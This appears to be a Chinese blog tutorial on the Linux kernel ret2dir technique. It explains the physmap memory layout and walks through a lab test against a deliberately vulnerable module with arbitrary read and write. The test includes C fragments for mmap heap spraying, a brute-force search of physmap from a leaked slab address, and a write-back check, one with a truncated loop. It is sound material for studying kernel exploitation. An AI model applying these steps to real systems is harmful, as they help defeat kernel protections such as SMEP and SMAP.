完全参考rtfingc的文章linux kernel pwn 之 ret2dir 学习,附赠文件及源码点这里,原文中给出的kpwn.c文件有错误,现已更正。
目的:利用return-to-direct-mapped memory(ret2dir)攻击技术绕过SMEP,SMAP,PXN,KERNEXEC,UDEREF,KGuard保护。简单来说,通过利用一个核心区域,直接映射系统的一部分或全部物理内存(用户空间内存映射到physmap,内核可直接访问physmap),允许攻击者在内核地址空间内访问用户数据。
防护:排他性页框架所有权机制(exclusive page frame ownership scheme),能以很低的性能损耗缓解ret2dir攻击。
1.Linux x86_64 内存布局
1-memory_layout.png
可见,physmap区域在0xffff888000000000 - 0xffffc87fffffffff这一段,大小为64TB。物理内存直接映射在该虚拟内存空间某地址处,只要知道该基址,做线性加减就完事了,速度和效率都很高。
2-physmap.png
linux内核的伙伴系统+slub分配器可参考这篇文章,内存分配主要有kmalloc和vmalloc两种方式。
vmalloc 请求 页的倍数大小的内存,要保证虚拟地址连续,物理地址不需要连续
kmalloc 内存在字节级做分配,要保证 虚拟地址和物理地址都是连续的
kmalloc是slub分配器使用的方式,kmalloc可在physmap上做内存分配操作。例如分配0x200,则对应kmalloc-512,该内存在physmap里面。
2.利用方式
从以上可知,1.physmap和RAM是直接的映射关系;2.可通过kmalloc分配的内存地址找到physmap的基址。
SMAP/SMEP主要是使内核不能直接执行用户态的代码。但用户态分配的内存,会停留在RAM中,这块内存在physmap中也能看到。可通过mmap分配大量的内存,这样找到的概率就会比较大。
早期的physmap可执行,只需在用户态写好shellcode,然后劫持内核后跳到physmap对应位置即可,不用管SMAP/SMEP。后期加上保护策略,physmap不可执行(W^X),但可通过ROP方式进行利用。
利用过程如下:
mmap大量内存(喷射rop chain等,这样用户数据会映射到内核physmap),提高命中概率。
泄露slab地址,根据内核中的slab地址计算physmap基地址,根据physmap基址搜索映射到内核physmap的用户数据。
劫持内核执行流到physmap。
3.测试
gcc版本:8.3.0
ubuntu版本:19.04
内核模块见kpwn.c。
功能:
add_any:kmalloc任意size,返回地址
del_any:传入addr,kfree释放该地址
read_any:传入addr,任意地址读
write_any:传入addr,任意地址写
利用步骤:
mmap喷射大量内存(这样用户数据会映射到内核physmap)
physmap中找出用户态mmap的内存的地址A
尝试改写physmap中地址A的内容,在用户态查看是否有变化
(1)mmap内存
qemu给了128M的内存,mmap出64M的内存,以增大命中率(在用户层喷射数据,这样会映射到内核physmap,这样根据physmap基址搜索的时候才更有可能搜到用户数据)。mmap内存都初始化为字符"K"。
// 64M
#define spray_times 32*32
#define mp_size 1024*64 // 64k
void *spray[spray_times];
void heap_srapy(){
void *mp;
for(int i=0;i
if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
logs("error","heap spray");
exit(0);
}
memset(mp,'K',mp_size);
spray[i]=mp;
}
}
(2)找physmap对应地址
先add_any(fd,0x200,buf);找出slab的地址,然后在上面做爆破,一个页一个页读取,直到找出KKKKKKKKKKKKKKKK这个子串的内存。
char *target = "KKKKKKKKKKKKKKKK";
...
u64 addr = slab_addr;
u64 pos=0;
u64 addr_to_change=0;
for(;addr < 0xffffc80000000000;addr+=0x1000){
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = (u64) memmem(buf,0x1000,target,0x10);
if(pos){
....
}
}
(3)改写尝试
找到可能的physmap地址后,调用write_any写这个地址,看看用户态对应的内存有没有被改变,如果随之改变,则说明两者已经对应上了。
if(pos){
addr_to_change = addr + pos - (u64)buf;
loglx("physmap hit addr",addr);
loglx("addr to change",addr_to_change);
write_any(fd,addr_to_change,dirty,0x100);
u64 *p = check();
if(p!=NULL){
logs("userspace","already change");
break;
}
}
4.结果
可以看出,内核首次分配的slab地址是ffff888007b5d800,计算出physmap起始地址是0xffff888007000000,顺着physmap搜到用户喷射的"K"首次出现在0xffff888007030000,把该内核地址处的值改成"A",找到用户空间出现改变的地址是0x7f7535b8f000,打印出来如下图所示。
3-output.png
内核physmap大部分空间都喷射的是"K"。
4-debug.png
参考: